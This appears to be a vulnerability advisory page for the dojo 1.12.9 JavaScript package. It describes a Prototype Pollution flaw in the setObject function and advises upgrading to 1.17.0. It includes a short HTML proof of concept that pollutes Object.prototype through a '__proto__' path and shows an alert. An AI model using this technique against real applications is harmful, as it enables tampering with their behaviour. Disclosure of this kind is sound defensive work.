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dojo@1.12.9 vulnerabilities

Dojo core is a powerful, lightweight library that makes common tasks quicker and easier. Animate elements, manipulate the DOM, and query with easy CSS syntax, all without sacrificing performance.

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Direct Vulnerabilities

Known vulnerabilities in the dojo package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

dojo is a foundation package for the Dojo 1 Toolkit. While still being maintained, new development is primarily focused on modern Dojo.

Affected versions of this package are vulnerable to Prototype Pollution via the setObject function.

PoC

1. Install `dojo` by running `npm i dojo`.
2. Create the following HTML file in the directory where `dojo` is installed.
3. Access the HTML page via a browser - you should see the alert.

<!-- The HTML file -->
<!DOCTYPE html>
<html>
<head>
<script src="node_modules/dojo/dojo.s"></script>
</head>
<body>
<script>
        document.addEventListener("DOMContentLoaded", function() {
                const obj = {};
                dojo.setObject("__proto__.vuln", "polluted!", obj);
                alert("anything".vuln);
        })
</script>
</body>
</html>

How to fix Prototype Pollution?

Upgrade dojo to version 1.17.0 or higher.

<1.17.0
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